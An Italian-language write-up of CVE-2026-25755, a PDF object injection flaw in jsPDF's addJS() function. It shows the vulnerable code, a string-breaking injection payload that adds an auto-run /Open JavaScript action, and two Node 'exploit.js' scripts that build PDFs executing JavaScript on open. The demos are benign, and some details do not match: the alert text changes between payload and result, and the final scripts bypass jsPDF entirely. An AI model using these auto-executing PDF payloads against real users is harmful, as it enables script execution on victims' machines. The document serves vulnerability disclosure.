
CVE-2026-25755 Una vulnerabilità critica di iniezione di oggetti PDF in jsPDF consente agli attaccanti di iniettare oggetti PDF arbitrari tramite la funzione `addJS()`, permettendo il bypass della sandbox AcroJS e l'esecuzione automatica di script all'apertura dei PDF.
È stata scoperta una vulnerabilità critica di PDF Object Injection (CVE-2026-25755) in jsPDF, una libreria JavaScript ampiamente utilizzata per generare documenti PDF in applicazioni lato client. La vulnerabilità risiede nella funzione addJS(), che consente agli attaccanti di iniettare oggetti PDF arbitrari e bypassare le restrizioni della sandbox AcroJS tramite una sanitizzazione inadeguata dell'input.
La funzione addJS() in jsPDF consente agli sviluppatori di incorporare codice JavaScript all'interno dei file PDF generati. Tuttavia, prima della versione 4.2.0, la funzione non riusciva a sanitizzare correttamente l'input utente contenente caratteri speciali della sintassi PDF.
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
La funzione concatena direttamente l'input utente negli stream di oggetti PDF senza eseguire l'escape di:
()\Ciò consente agli attaccanti di chiudere prematuramente il contesto della stringa JavaScript e iniettare oggetti PDF arbitrari.
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
Punto di iniezione - contesto stringa bypassato
| Passaggio | Azione | Risultato |
|---|---|---|
| 1 | ) chiude la stringa /JS originale | Contesto stringa terminato |
| 2 | >> chiude l'oggetto PDF corrente | Struttura dell'oggetto compromessa |
| 3 | /AA << /Open << ... | Nuovo dizionario di azioni iniettato |
| 4 | Oggetti PDF arbitrari aggiunti | Object injection completo ottenuto |
Crea un file denominato exploit.js e scrivi al suo interno quanto segue
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
Esegui node exploit.js